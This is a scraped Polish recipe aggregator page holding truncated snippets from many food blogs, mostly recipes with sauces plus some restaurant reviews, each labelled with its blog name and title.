praskę. Po minucie smażenia czosnku dodajemy boczniaki, mieszamy i dodajemy szparagi- podlewamy wszystko mlekiem stopniowo (50 ml, mieszamy; odparuje znowu 50 ml, mieszamy i tak, aż szparagi zmiękną. Robimy sos: tofu kruszymy, dodajemy mleko, szczyptę soli, gałkę muszkatołową i blendujemy do uzyskania gładkiej konsystencji. Przelewamy wszystko do dużego garnka, zagotowujemy cały czas mieszając (max 3 minuty). Wrzucamy makaron, mieszamy wszystko

greenscarf
Boeuf bourguignon - wołowina po burgundzku 284

godziny). Jeśli wina jest za mało, to dolewamy wody - tyle, aby ciecz tylko przykryła składniki potrawy. 6. Gdy mięso jest już miękkie dodajemy koncentratu pomidorowego (opcjonalnie) i zagęszczamy sos mąką rozmieszaną w odrobinie zimnej wody (opcjonalnie). 7. Doprawiamy do smaku solą, pieprzem i ewentualnie jeszcze tymiankiem. Wołowinę po burgundzku podajemy z pieczonymi ziemniakami lub ciepłą, chrupiącą bagietką. I koniecznie

W kuchni Katie
Polędwiczki w sosie z suszonych pomidorów 256

mniejsze części pomidory i śmietanę. Doprowadzić do wrzenia, dusić 5-7 minut, mieszając od czasu do czasu. Doprawić solą, pieprzem, i ziołami. Mięso przełożyć do naczynia żaroodpornego i zalać sosem.  Piec 25 minut w 180 stopniach. Jako dodatek proponuję frytki. Rozliczenie: polędwiczka ok. 11zł suszone pomidory 5zł śmietanka 2zł szklanka wina 3zł reszta składników około 1zł frytki 1kg- około

Czerwona Porzeczka
SPAGHETTI Z KREWETKAMI I CZOSNKIEM NIEDŹWIEDZIM 204

przez około 2 minuty kilka razy obracając.  ODCEDŹ MAKARON I DODAJ DO KREWETEK, przez około minutę podsmażaj, to bardzo ważne. Chodzi o to, żeby makaron "napił się" tego sosu. Bardzo to podnosi smak. PRZEŁÓŻ NA TALERZ, dodaj czosnek niedźwiedzi i parmezan, tyle. Smacznego

Kuchnia bezglutenowa Loli
Cytrynowe racuszki z malinowo różanym sosem! 158

następnie dodając syrop z płatków róży i startą skórkę cytrynową! Od was zależy czy chcecie mieć kawałeczki malin, czy gładki sosik (wystarczy przecedzić przez sitko). Wybrałam pierwszą opcję. Kiedy sos zgęstniał polałam nim racuszki. Smacznego

Plate of Joy
Kurczak, pesto i szparagi 297

każdej strony przez około 6 minut. Następnie należy wlać śmietankę i dodać pesto - ilości według uznania*. Całość należy delikatnie przemieszać, dodać szparagi i chwilkę podgotować do lekkiego zgęstnienia sosu. Doprawić do smaku pieprzem i dołożyć listki bazylii. Smacznego! * Nie podaje ani ilości śmietanki, ani pesto - uważam, że każdy sam zadecyduje ile sosiku chce uzyskać. Dla jednej osoby 100 ml śmietanki

Plate of Joy
Lody jogurtowo - truskawkowe 261

byłam strasznie ciekawa jak mogą smakować. W tym roku na dzień dziecka dostałam swoją pierwszą maszynkę do lodów :) I się zaczęło... Było już kilka smaków lodów - waniliowe, śmietankowe, z sosem malinowym, z białą czekoladą i przyszedł czas na coś lekkiego. Dziś zapraszam Was na pyszne lody jogurtowo - truskawkowe.  Bardzo proste do przygotowania, a taaaakie dobre :)  Polecam z całego

Plate of Joy
Domowy ketchup 187

jego zaletą jest to, że możemy go dostosować do własnych gustów. Ten ketchup jest idealny. Ma wspaniałą konsystencję, smak i kolor. Nadaje się też do smarowania pizzy, zamiast sosu pomidorowego :)  Nie będę ukrywać, że roboty z tym trochę jest, zwłaszcza takiej czasochłonnej typu przecieranie pomidorów przez sito, ale w tym roku uskuteczniłam ten krok - użyłam sokowirówki. Idealnie się

Plate of Joy
Krewetki z jogurtem i ziołami 178

utrzeć w moździerzu, dodać czosnek, sól, pieprz i oliwę. dodatkowo : jogurt naturalny, limonka, świeża kolendra, ew. pieczywo Krewetki podajemy na kleksie z jogurt naturalnego, najlepiej gęstego.  Polewając ziołowym sosem i skrapiając sokiem z limonki. Idealnie smakuje z chrupiącym pieczywem.  Smacznego

Plate of Joy
Stek, pieczone ziemniaki i świeże zioła 161

trochę oliwy z oliwek - wszystko dokładnie rozcieramy / miksujemy. Na koniec dodajemy więcej oliwy z oliwek - zależy od gęstości jaką chcemy uzyskać - przyprawiamy solą i pieprzem. Stek podajemy z ziołowym sosem, z pieczonymi ziemniaczkami, u mnie dodatkowo roszponka z oliwą i sokiem z cytryny. Smacznego

Plate of Joy
Bułeczki - pizza 172

łyżeczki soli, 1 łyżeczka cukru, 7 g suchych drożdży, 160 g mleka pełnotłustego, 50 g roztopionego masła 300 g pieczarek, 1 cebula, 150 g tartej mozzarelli, salami, szpinak, sos pomidorowy lub  ketchup świeże listki bazylii Mąkę wsypać do misy miksera, wbić jajka, dodać cukier, sól, drożdże i mleko - wyrabiać mikserem przez kilka minut na średnich obrotach, następnie dodać roztopione

Plate of Joy
Sałatka z łososiem, szparagami i jajkami przepiórczymi 238

przekroić na połówki. Łososia podzielić na kawałki i rozdzielić razem z warzywami pomiędzy dwa talerze, posypać ziołami i podawać z pesto bazyliowym rozcieńczonym oliwą z oliwą do konsystencji sosu. Smacznego

Plate of Joy
Śródmieście - Gdynia 209

skusiliśmy się na burgera - w wersji klasycznej i wegetariańskiej z serem halloumi - świetna bułka brioche, pyszne i dobrej jakości mięso! Do tego fantastyczne dodatki - domowe frytki i dwa sosy! Było pysznie i duża porcja

Plate of Joy
Mule w białym winie 217

wina wrzucamy mule, doprowadzamy całość do wrzenia i przykrywamy garnek pokrywką gotując dalej około 6 minut. W trakcie gotowania potrząsamy, lub mieszamy zawartość garnka, aby wszystko mule były pokryte sosem. Na koniec dodajemy świeże liście kolendry i mule podajemy ze świeżym pieczywem i np. masłem czosnkowym

Plate of Joy
Duszony jeleń w czerwonym winie 217

tymiankiem i dorzucamy do gotującego się mięsa. Całość dusimy dalej około godziny, do czasu aż mięso będzie miękkie. Na koniec doprawiamy do smaku, a jeśli zajdzie taka potrzeba zagęszczamy sos przy pomocy wody i mąki. Smacznego

Plate of Joy
Pieczona łopatka jagnięca 220

piec bez przykrycia przez 30 minut, następnie zmniejszyć temperaturę do 150 stopni i piec przez około 3 godzin pod przykryciem. Podczas pieczenia co jakiś czas mięso polewać powstałym sosem, w razie gdyby było go za mało uzupełniamy pozostałą wodą. Mięso podać ze świeżymi warzywami, granetem, ziołami i kuskusem. Smacznego

Plate of Joy
Pieczony antrykot wołowy 348

pieczone cebule i czosnek, a następnie wszystko włożyliśmy do garnka, podlaliśmy bulionem wołowym i dusiliśmy na wolnym ogniu!  Tu świetnie sprawdzą się też pieczone warzywa korzeniowe dodane do sosu! Do obiadu zjedliśmy fenkuł z pomarańczą i rukolą. Fenkuł pokroiliśmy cieniutko na mandolinie, wrzuciliśmy do miski z zimną wodą i kostkami lodu na minimum 2 godziny - dzięki temu jest pysznie

Plate of Joy
Ramen Girl of Yellow Dog 233

podzieliliśmy! Pierwsza myśl, która przychodzi po spróbowaniu? Jest moc! Aromaty, rozpływające się w ustach mięso, chrupkość warzyw - od ramenu można się uzależnić! Policzki wołowe podane z ogórkami marynowanymi, jarmużem, sosem hoisin, ostrym zielonym i makaronem alkalicznym - porcja kosztowała 36 zł. Mięso rozpływało się w ustach, a ogórki marynowane były absolutnie fenomenalne! Polubiłam to miejsce za pierwszym razem, wystrój bardzo

Plate of Joy
Słownik kulinarny: Pomidory okrągłe 199

smaku. Do pomidorów okrągłych zaliczamy pomidory: okrągłe, bawole serce, okrągłe na gałązce, malinowe, zebra Taka odmiana pomidorów najlepiej nadaje się do: bezpośredniego spożycia, jako składnik zup i dań, przecierów, sosów, koncentratów, soków. Źródło: MAKRO Cash & Carry

WojnaNaSmaki.pl
Zapiekanka z mięsa mielonego oraz tłuczonych ziemniaków. 378

smażymy mięso wraz z cebulą. Następnie dodajemy do niego pomidory z puszki oraz przecier pomidorowy i trzymamy na ogniu do zgęstnienia. Doprawiamy solą, pieprzem i oregano. Mięso z sosem pomidorowym przekładamy do naczynia żaroodpornego. Do ugotowanych ziemniaków dodajemy masło, śmietanę oraz koperek i wszystko razem tłuczemy. Wykładamy ziemniaki na mięso i wyrównujemy, na wierzch posypujemy startym żółtym serem. Pieczemy

Symfonia smakowa
Bites, czyli coś na ząb. 272

usmażone zadowolą nie jedno podniebienie. Czasem można sobie na takie rarytasy pozwolić. Każdy z nas jest tylko człowiekiem. ;) Bites'y idealnie komponują się z frytkami z piekarnika i sosami, np. pomidorowym i czosnkowym. Potrzebujemy: pojedyncza pierś z kurczaka 2 łyżeczki przyprawy warzywnej bez glutaminianu sodu od Przyprawy Premium 2 łyżki oleju rzepakowego dodatkowy olej do smażenia mąka do panierowania Pierś

MamaOskarka
Ogórki faszerowane na ostro 183

Składniki: (na 2-4 porcje) 2 duże ogórki długie-szklarniowe, o gładkiej skórce Farsz: miąższ z 2 ogórków szczypta suszonej papryczki chilli 4 cienkie plasterki jalapeno- opcjonalnie łyżeczka sosu sojowego kilka kropli oleju sezamowego 1/4 łyżeczki soku z cytryny pół łyżeczki wódki, bądź innego mocnego alkoholu łyżeczka ziaren sezamu szczypta soli szczypta czosnku szczypta świeżo mielonego pieprzu szczypta tandoori szczypta

KreatywnePiny
Kurczak z kuskusem i cukinią w sosie pieczarkowym 241

Smaczny kurczak w z młodą cukinią w sosie pieczarkowym. Dopełnieniem jest delikatna kasza kuskus. Danie jest lekkie i idealne na zbliżające się ciepłe dni. 600 g filetu z kurczaka Przyprawa do kurczaka 2 cebule 250 g pieczarek 1 młoda cukinia 2 łyżki śmietany 18% 0,5 szklanki kaszy kuskus 1 szklanka wrzątku Sól Pieprz Filet z piersi kurczaka kroimy

VioletoweKucharzenie
domowa kaszanka grillowana z kapustą kiszoną 188

czerwona papryka 4 ząbki czosnku 2 ziarenka ziela angielskiego 1 liść laurowy 1 łyżeczka kozieradki 1 łyżeczka słodkiej papryki mielonej 6 łyżek oleju 6 łyżek wody sól, pieprz opcjonalnie: sos majonezowo – keczupowy wykonanie: Kapustę odciskamy ze soku. Cebulę obieramy, kroimy w półplasterki. Boczek kroimy w kostkę. Paprykę myjemy, wydrążamy gniazdo nasienne i kroimy w paski. Czosnek obieramy, drobno kroimy

Domowy Smak Jedzenia
Kurczak pieczony z kurkumą i tymiankiem 194

etapie można włączyć termoobieg (lub zwiększyć temperaturę do 180-190ºC), żeby skórka była bardziej chrupiąca. Bardzo ważne jest, żeby w trakcie pieczenia bez folii podlewać kurczaka sosem, który wypłynął w trakcie pieczenia z mięsa. Źródło:  filozofiasmaku linkwithin_text='Zobacz również inne przepisy:' var linkwithin_site

Świat Domowej Kuchni
SCHAB A'LA GYROS 293

mięsem. Mięso dusimy pod przykryciem do czasu, aż będzie miękkie (ok 30-35 minut powinno wystarczyć) na małym ogniu. Po 20 minutach pokrywkę zdejmujemy, w celu odparowania nadmiaru sosu. Na koniec doprawiamy ew. solą lub pieprzem do smaku

Walijskie Pichcenie
Pieczone ziemniaczki z kozik serem 112

godziny(180stopni). Po godzinie przecinamy go na pół i smarujemy masełkiem- wstawiamy z  powrotem do pieca.Gdy ziemniak będzie miękki układamy na nim pokrojony ser kozi,polewamy sosem czosnkowym(majonez+czosnek+jogurt) i posypujemy siekanym szczypiorkiem. Doprawiamy do smaku. Smacznego! Ten i inne przepisy znajdziecie na stronie http://www.wielkiapetyt.blogspot.com

Wielki apetyt
Makaron z sosem truskawkowym 133

ekstraktu waniliowego sól Sposób przygotowania: Makaron gotujemy al dente w  lekko osolonej wodzie.Truskawki czyścimy,obieramy z szypułek i dokładnie myjemy.Miksujemy owoce wraz z serem i ekstraktem waniliowym.Jeśli sos wyszedł zbyt kwaśny możemy dosłodzić go cukrem pudrem. Smacznego! Ten i inne przepisy znajdziecie na stronie http://www.wielkiapetyt.blogspot.com

Wielki apetyt
Sezon grillowy trwa 140

wytopi się:) Kiełbaski:toruńska,biała,zawinięta w  boczek,kaszanka i oczywiście moja ulubiona kiszka ziemniaczana:)  Sałatka ze świeżych warzyw z  bazylią i kozim serem Mój kochany sos majonezowy Karkówka marynowana przez 24 godziny. Rybka z mięsem mielonym przyprawiona Kotanyi  W tym roku miałam przyjemność wypróbować przypraw i marynat grillowych firmy Kotanyi.Przyznam jedzenie smakowało super,tylko trzeba

Wielki apetyt
Klopsiki z kozim serem 82

gotujemy przez 30 minut pod przykryciem na wolnym ogniu.Wyjmujemy je z garnka i dodajemy do niego pomidory-miksujemy całość na gładką masę.Wkładamy mięso do środka i gotujemy w sosie ok.10 minut. Smacznego! Ten i inne przepisy znajdziecie na stronie http://www.wielkiapetyt.blogspot.com

Wielki apetyt
Kasza manna z sosem jagodowym 103

Już jako dziecko bardzo lubiłam kaszę manną na śniadanie.Mama podawała mi ją polaną sosem malinowym własnej roboty.Dziś postanowiłam wykorzystać jagody i przyznam,że moje dzieci były zachwycone. Składniki:  litr mleka 400g jagód 3 łyżki cukru 1 łyżka ekstraktu waniliowego 1 łyżeczka masła 3/4 szklanki kaszy manny Sposób przygotowania: Jagody zmiksować z 2 łyżkami cukru.Mleko zagotować wraz

Wielki apetyt
Grzanki czosnkowe zapiekane z serem pleśniowym 599

układamy go już na wyciętym pieczywie.Nakrywamy drugim kawałkiem chleba.Całość zakrywamy papirusem. Zapiekamy na grillu lub patelni bez użycia tłuszczu ok 3 minut. Gorące podajemy wraz z sosem czosnkowym. Smacznego! Ten i inne przepisy znajdziecie na stronie http://www.wielkiapetyt.blogspot.com

Wielki apetyt
Gotowanie na parze 133

warzywa umieścić w woreczku strunowym, zamknąć go szczelnie i umieścić w mikrofalówce uwzględniając czas przygotowania umieszczony na każdym z woreczków. Poza przyprawami możemy dodać również zioła, przyprawy, masło czy sos. Możemy w nich przygotować całe danie. Zajmuje to zdecydowanie mniej czasu a otrzymujemy zdrowy, lekki i pyszny obiad. Wystarczy mikrofala, torebki i to co chcemy jeść :D Możemy przygotowywać zarówno

Wielki apetyt
Pasta sezamowa 122

Pastę sezamową (Tahini) pokochali mieszkańcy Bliskiego Wschodu, Azji pokochaliśmy ją również my. Jej intensywny, sezamowy smak doskonale nadaje się jako baza do sosów, jak i dodatek do deserów czy dań. Zabrałam się za jej przygotowanie, gdyż za tydzień planuję imprezę kulinarną na świeżym powietrzu i nie wyobrażam jej sobie bez mojej gwiazdy- Tahini. Jej przygotowanie jest banalnie proste a efekt

Wielki apetyt
Majówka 165

boczku. (Przepisy znajdziecie na blogu)     W tym roku poza rodzinką w naszym spotkaniu uczestniczyli " Jan Niezbędny " , Kamis i nasz ulubiony majonez Winiary  (co prawda jako sos majonezowy, ale nie wyobrażam sobie przygotować go na innym majonezie, więc gościło również Winiary )   Mam nadzieję, że i was brak majówkowej pogody nie odstraszył i spędziliście równie miło czas

Wielki apetyt
Tortilla z dorszem 138

majonezem. Podgrzewamy tortillę na suchej patelni przez ok. minutę z każdej strony. Pozostaje nam już tylko złożyć danie w całość. Na tortilli układamy pokrojoną rybkę, plastry pomidora i nasz sos porowo-majonezowy. Tortillę zwijamy wg. własnych upodobań i dekorujemy świeżym tymiankiem. Smacznego! Ten i inne przepisy znajdziecie na stronie http://www.wielkiapetyt.blogspot.com

Wielki apetyt
Muffiny a'la pizza 153

pszennej 2 łyżeczki proszku do pieczenia 1 łyżeczka soli 3 łyżeczki przyprawy do pizzy 100 g tartej mozzarelli 500 g pieczarek 250ml mleka 2 jaja 100 g masła ketchup/ sos pomidorowy olej rzepakowy (do smażenia) Sposób przygotowania: Mąkę mieszamy z pozostałymi suchymi produktami. Pieczarki kroimy i smażymy na odrobinie tłuszczu. Grzybki siekamy i wrzucamy wraz z serem do suchych produktów

Wielki apetyt
Makaronowa sałatka w jajecznych miseczkach 164

się już indyk i/lub kurczak zapraszam na pyszne jajka. Przekąska ta zapewni ci dużo białka, ale i błonnika, oraz witamin.  Składniki: Makaron świderki (Pełne ziarna) tuńczyk w sosie własnym ugotowane jajka ogórek kiszony czerwona fasola z puszki listki świeżej pietruszki sól morska pieprz czarny mielony  Sposób przygotowania:  Jajka przekrój na pół i wyjmij żółtka. Makaron gotuj

Wielki apetyt
Egzotyczne curry z kurczakiem 136

weekend oczywiście powtórka. Składniki: Na pastę curry: 1 papryczka chilli (bez pestek) drobno krojone cebula imbir czosnek woda kurkuma orzechy nerkowca lub ziemne cukier palmowy sok z cytryny sos sojowy olej arachidowy lub ryżowy Miksujemy całość .Przed podaniem podsmażyć na oleju arachidowym lub ryżowym (nie spalić!). Można zamrozić lub trzymać w lodówce. Przesmażamy i dolewamy  mleczko kokosowe 1/4 szklanki

Wielki apetyt
Restauracja Rondel- Sopot 131

Przyszłyśmy, rozgościłyśmy się i przystąpiłyśmy do szperania w karcie.  Menu fajne, nieprzekombinowane, karta przejrzysta. Nasz wybór padł na : Przystawka Skarb leśniczego, czyli boczniaki w panierce podawane z kurkowym sosem.  Nazwa -Rondel ma swoje odzwierciedlenie w menu. Podano w nim shoarmę. Moja towarzyszka zabrała się za polecone przez obsługę- żeberka. Mimo wielkości porcji, skusiłyśmy się na desery -łatwo

Wielki apetyt
Barracuda w Gdyni 138

wieprzowej z puree ziemniaczanym, szparagami, kawałkami ciasta francuskiego oraz maślaną gruszką z chili Pierś z kurczaka w świeżych ziołach ,z borowikowym risotto, sezamie z grilla ,z pieczonymi warzywami oraz sosem maślanym z suszonymi pomidorami. Na deser obłędny sernik ( strzał w  10! Idealny, puszysty- genialny) i szarlotka ( bardzo smaczna, domowa z lodami waniliowymi) Jedzenie genialne- bardzo smaczne i wykwintne

Wielki apetyt
Śniadaniówka Sistema to go 126

poza domem. Dla mnie to numer jeden z tych, które używałam. Ten model ma dla mnie wszystko ( szczelne, wielokomorowe, ze sztućcami, estetycznie wykonane no i ten dodatkowy pojemniczek na sos. Latem będę używała tego z wkładem chłodzącym- czego chcieć więcej?) Smacznego! Ten i inne przepisy znajdziecie na stronie http://www.wielkiapetyt.blogspot.com

Wielki apetyt
Senso- Gdańsk 168

Plus " Turek pomoże od kuchni " ) odwiedziliśmy restaurację Senso . Początkowo burza mózgów, gdyż trzeba było obmyśleć co dobrego dla was przygotujemy. Padło na stek w iście Świątecznym stylu, gdyż z sosem pomarańczowym i w korzennych przyprawach, podany z kaszą i cebulowym confit. Oczywiście relacji możecie posłuchać dziś (13.12.2013r) w godzinach 18.00-19.00 na antenie Radio Plus. Co mogę dodać- Michał

Wielki apetyt
Zdrowa sałatka w 10 minut 357

brokuł zachowa ładny, apetyczny kolor). Brokuł układamy na półmisku wraz z jajkami, pomidorkami przekrojonymi na pół i posypujemy tartym serem. Z majonezu, przeciśniętego przez praskę czosnku i jogurtu robimy sos czosnkowy. Miksujemy składniki na gładką masę i dodajemy posiekany szczypiorek. Całość podajemy z ciepłą bagietką czosnkową. Smacznego! Ten i inne przepisy znajdziecie na stronie http://www.wielkiapetyt.blogspot.com

Wielki apetyt
Zapiekane bakłażany 131

skórką z cytryny, cukrem,czosnkiem i słodką papryką. Dodaj podsmażoną szalotkę. Nafaszeruj nim bakłażany. Następnie rozpuść masło, dodaj mąkę i energicznym ruchem rozprowadź ją w maśle. Dodawaj mleko, aż sos będzie gęsty. Nałóż warstwę na mięso. Posyp startym serem z dodatkiem posiekanej kolendry. Bakłażany zapiekaj ok. 30-40 minut w temperaturze 180 stopni. Podawaj na ciepło. Smacznego! Ten i inne

Wielki apetyt
Restauracja Trio- Gdynia 165

warzywami gotowanymi na parze i pieczonymi ziemniaczkami. Wielki plus za to, że ziemniaki nie są przygotowane z mrożonych gotowców, są pyszne.   Na deser cudowna, lekka Panna Cotta z sosem malinowym W Trio można zjeść smacznie, szybko i zdrowo- cóż więcej chcieć?  Zdecydowanie Polecam. Restaurację odwiedziłam w ramach programu blogerskiego urodaizdrowie.pl Ten i inne przepisy znajdziecie na stronie

Wielki apetyt
Koszałkowo- plenerowe gotowanie z Radiem Plus i Wojciechem Harapkiewiczem 214

plenerowej zorganizowanej na stoku w Koszałkowie. Klimat jaki towarzyszył imprezie- bezbłędny, miejsce- przepiękne, kuchnia- doskonała. Jeśli nie było was z nami, macie czego żałować. Serwowaliśmy policzki wołowe, baraninę w sosie winno-gruszkowym,  chrupiące chipsy z pietruszki, buraczki glazurowane miodem i pyszną kaszę. Mimo gotowania na świeżym powietrzu dania wyglądały imponująco!   Może dlatego, że mieliśmy świetny sprzęt przywieziony przez

Wielki apetyt
Tarta makaronowa 172

pieprzem. Dodać śmietankę, karob, pokrojoną gorgonzolę i mozzarellę. Makaron ugotować w lekko osolonej wodzie- al dente! Uwaga nie dodajemy do wody tłuszczu (gdyż zależy nam na tym, że sos go oblepił). Makaron dodajemy do masy i dokładnie obtaczamy każdą z rurek. Nadzienie wykładamy na podpieczony spód i wstawiamy do piekarnika na 15 minut (180 stopni). Podajemy na ciepło. Smacznego

Wielki apetyt
Pasta jajeczna z tuńczykiem 158

naprawdę dobrze. Tym bardziej, że zbliża się Wielkanoc, więc wszystkie jajeczne przepisy na pewno się przydadzą. Zapraszam. Składniki (na 1 porcję): 2 jajka 35 g tuńczyka w kawałkach w sosie własnym 1/2 łyżeczki majonezu spora garść posiekanego szczypiorku sól morska pieprz świeżo mielony ( najlepiej kolorowy ) ulubione kiełki bułka razowa/ pełnoziarnista/ grahamka lub inna Sposób przygotowania: Jajka blendujesz z majonezem

Wielki apetyt
Grillowana kiełbaska z pieczarkowym wnętrzem 175

papryczką chilli. Kiełbaskę przekrawamy wzdłuż i w nacięcie nakładamy nasz farsz. Grillujemy na złoty kolor ze wszystkim stron uważając, żeby nie wyleciał nam farsz. Podajemy na ciepło z domowym sosem barbecue i grillowanymi warzywami. Smacznego! Ten i inne przepisy znajdziecie na stronie http://www.wielkiapetyt.blogspot.com

Wielki apetyt
Krązki cebulowe z grilla 160

naszym grillu. Podwójny plaster cebulki owijamy starannie boczkiem i skuwamy go wykałaczką. Ringi układamy na gorącym ruszcie i pieczemy aż boczek będzie idealnie chrupiący. Podajemy ciepłe z ulubionymi sosami i dodatkami.  Smacznego! Ten i inne przepisy znajdziecie na stronie http://www.wielkiapetyt.blogspot.com

Wielki apetyt
Burger z salami, mozzarellą, sałatą i sosem majonezowym 166

jeśli jesteś w posiadaniu grilla podpiecz przez chwilkę każdą z połówek. Jeśli nei możesz włożyć bułkę na chwilkę do piekarnika lub mikrofalówki. Następnie ułóż na niej składniki i polej sosem. Smacznego! Ten i inne przepisy znajdziecie na stronie http://www.wielkiapetyt.blogspot.com

Wielki apetyt
Miodowe skrzydełka 139

suche. Takie właśnie skrzydełka przygotowałam dla mojej rodziny i przyjaciół podczas weekendowego grillowania. Składniki: 1 kg skrzydełek z kurczaka 7 łyżeczek miodu 10 łyżeczek oleju rzepakowego 10 łyżeczek sosu sojowego sok z połowy cytryny 2 łyżeczki soli Sposób przygotowania: Składniki na marynatę mieszamy dokładnie w dużym naczyniu za pomocą trzepaczki lub dużej łyżki. Gdy się połączą wrzucamy do niej umyte

Wielki apetyt
Pieczarki szpinakowe z grilla 144

minut, aż do połączenia składników. Doprawiamy do smaku solą i pieprzem. Pieczarki myjemy i wyjmujemy z nich nóżki. Do środka kapeluszy wkładamy plasterek boczku i zalewamy je sosem szpinakowo-serowym. Grillujemy ok. 15 minut. Smacznego! Ten i inne przepisy znajdziecie na stronie http://www.wielkiapetyt.blogspot.com

Wielki apetyt
Idealny lunchbox 174

kilka bardzo ważnych dla mnie cech: - po pierwsze nie zawiera BPA ani PCV w związku z czym jest bezpieczny dla mojego dziecka. - jest niezwykle pakowny (2 szczelne pojemniczki na sos (jeśli je wyjmiemy zyskujemy dodatkową komorę), 1 spora komora przedzielona na pół, miejsce na 2 kwadratowe kanapki, z możliwością wyjęcia przegródki i umieszczenia w tym miejscu np. sałatki) - każda komora

Wielki apetyt
Sałatka z kaszą gryczaną 173

przypadkowych składników powstała cudowna sałatka. Smaczna, zdrowa, syta i niezwykle szybka w przygotowaniu. Składniki: kasza gryczana ser sałatkowy typu feta (ja użyłam z mleka koziego) pomidorki koktajlowe tuńczyk w sosie własnym cebula sól majonez  Sposób przygotowania: Kasze gotuj 8 minut w osolonej wodzie. Następnie pokrój kozi ser, pomidorki i cebulkę i dodaj do kaszy. Podaj z odrobiną majonezu. Smacznego

Wielki apetyt
Curry z kurczakiem i nutką zielonej herbaty 177

papryczka chilli (bez pestek) drobno krojone cebula imbir czosnek Nestea green tea Citrus (ok. 0,5 szklanki) mleko kokosowe (ok. 1 szklanki) kurkuma cukier palmowy sok z cytryny sos sojowy olej kokosowy kurczak: pierś z kurczaka orzechy laskowe sezam jajko olej kokosowy sól pieprz Sposób przygotowania: Wszystkie składniki na pastę zmiksuj na gładką masę (poza Nestea, mlekiem kokosowym i olejem

Wielki apetyt
Najlepsze ciasto czekoladowe 173

przygotowaniu i nie mam góry naczyń do zmywania. Świetnie sprawdza się jako składowa deserów (przykład znajdziesz tu ) lub samodzielnie. Tym razem podałam je klasycznie z sosem truskawkowym i lodami. Goście byli zachwyceni, moje dzieci również. Szczerze polecam- jestem pewna, że tak jak ja sięw  nim zakochasz. Składniki: 1 szklanka mąki 1 szklanka cukru 1/3 szklanki dobrego

Wielki apetyt
Krokiety ziemniaczane z serem 182

tanie, nieskomplikowane i proste, jednakże trochę czasochłonne danie- delikatne krokiety z ugotowanych ziemniaków z dodatkiem sera. Takie krokiety można zaserwować jako samodzielne danie, podane tylko np. z surówką, ulubionym sosem czy zrumienioną cebulą, bądź jako dodatek do innych potraw. * ziemniaki- 600 g * jajko- 2 szt. * ser żółty- 20 g * mąka ziemniaczana * gałka muszkatołowa- 1/4 łyżeczki * sól, pieprz * bułka tarta

Kraina Miodem Płynąca
Placki ze szpinaku 153

szpinakiem. Łyżką kłaść placki na rozgrzany tłuszcz. Smażyć na rumiano z obu stron. Zdejmować z patelni na papierowy ręcznik . Podawać jako dodatek do mięs lub samodzielne danie, z dodatkiem sosów.    * zamiast szczawiu można wziąć sam szpinak. zastawa

królestwo garów
Kalarepki w gęstym sosie 271

Kalarepki robimy dość często .I jako jarzynkę i jako danie jarskie i faszerowaną mięsem w sosach (koperkowym , pomidorowym lub innym ) Czytaj więcej

Buniabaje w kuchni
Słownik kulinarny: Pomidory cherry 162

zazwyczaj niewielkiej wielkości. Do pomidorów cherry zaliczamy pomidory: cherry, piccolo, sycylijskie piccolo, cherry gałązka, cherry sycylijskie, cherry śliwkowe, śliwkowe mini, cherry mix Taka odmiana pomidorów najlepiej nadaje się do: sosów, sałatek, makaronów, zapiekanek, krewetek, zakąsek, ryb, pizzy, kanapek, mięs i marynat Źródło: MAKRO Cash & Carry

WojnaNaSmaki.pl
Lekka sałatka z mozzarelli i ziarnami 336

nasiona prażymy na patelni. Tutaj drobna uwaga sezam oraz siemię lniane przy wysokich temperaturach zachowują się podobnie jak popcorn czyli lubią wyskakiwać z patelni dlatego polecam prażyć pod przykryciem. Sos jest równie prosty do małej miseczki przelewamy oliwę dodajemy zioła, sól, pieprz oraz czosnek. Zakrapiamy kilkoma kroplami soku z cytryny. Dokładnie mieszamy. Na talerzu wyłożonym sałatą układamy ser, pomidory całość

Jedz zdrowo żyj zdrowo!
Szaszłyki grillowe 376

nadziewamy na patyczki i pieczemy na średnio rozpalonym grillu najlepiej przy użyciu amelinowych tacek. Można łatwo modyfikować przez dodanie lub odjęcie warzyw lub użycie innego mięsa. Podajemy najlepiej z sosem czosnkowym lub keczupem, pieczywem i piwem. Na zdjęciu szaszłyki przed usmażeniem, z podanej ilości składników wyszło ich 16. Koszt: wiem ale nie powiem, tanie to niestety nie było* :( *zwłaszcza piwo

Tanie przepisy studenckie
Przepis na… – Uova in purgatorio, włoskie sacrum jedzenia 328

oliwek sól, pieprz, bazylia Na oliwie podsmażamy posiekany czosnek i poszatkowaną cebulę. Kiedy oddadzą swój smak i lekko się przyrumienią, zalewamy je passatą. Gotujemy ok. 15 minut aż sos zgęstnieje, wtedy robimy w nim łyżką wgłębienia. Wbijamy do nich jajka i posypujemy szczyptą soli, pieprzu i mozzarellą. Pod przykryciem trzymamy na wolnym ogniu jeszcze kilka minut, aby jajka się ścięły

Bon Ton Italia
Estragonowy kurczak w serowym sosie 325

Składniki: pierś kurczaka opakowanie mrożonego szpinaku kilka ziemniaków sól, pieprz szczypta estragonu i kminku 3-4 ząbki czosnku kilka kropel soku z cytryny ok 2 łyżki masła Sos: 500 ml śmietanki kremówki ok 150 g sera Gruyere ok 50 g sera Ementaler + Gouda szczypta mąki ziemniaczanej ok 50 g sera pleśniowego  pęczek szczypiorku Przygotowanie: Ziemniaki ugotować w osolonej wodzie

Gaździnka warzy
Pomidorowy gulasz wieprzowy 242

Gulasz wieprzowy na pomidorowo z ziołami jest ulubionym gulaszem mojej córeczki. To mięciutkie mięso w sosie, które idealnie komponuje się z kaszami, makaronem, ryżem, ziemniakami czy kluseczkami - możliwości podania mamy całą gamę. Przygotowanie go jest bardzo proste, polecam na obiad, który zostanie odgrzany np. następnego dnia.  Pomidorowy gulasz wieprzowy SKŁADNIKI : 500 g łopatki wieprzowej 1 cebula sól i pieprz

Kulinarny Świat Konczi i Szpileczki
Langosz – drożdżowy placek węgierski 157

płaskie, ale niezbyt cienkie (gr. ok 1,5 cm) okrągłe placki i smażymy na rozgrzanym oleju z obu stron na złoto. Ja podałam je z rukolą, serem żółtym i sosem śmietanowym

e-PrzepisyKulinarne
Kiszone pomidory koktajlowe 334

Pomidory tak przygotowane można używać do sałatek, sosów, zup czy zajadać z chlebem. Można je robić przez cały rok a jesienią jak jest ich najwięcej wkładamy do słoików i pasteryzujemy na zimę. Potem zimą mamy słońce zamknięte w słoiku. Kiszoane pomidory koktajlowe. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
966. Gofry z ciecierzycy & Krowarzywa. 169

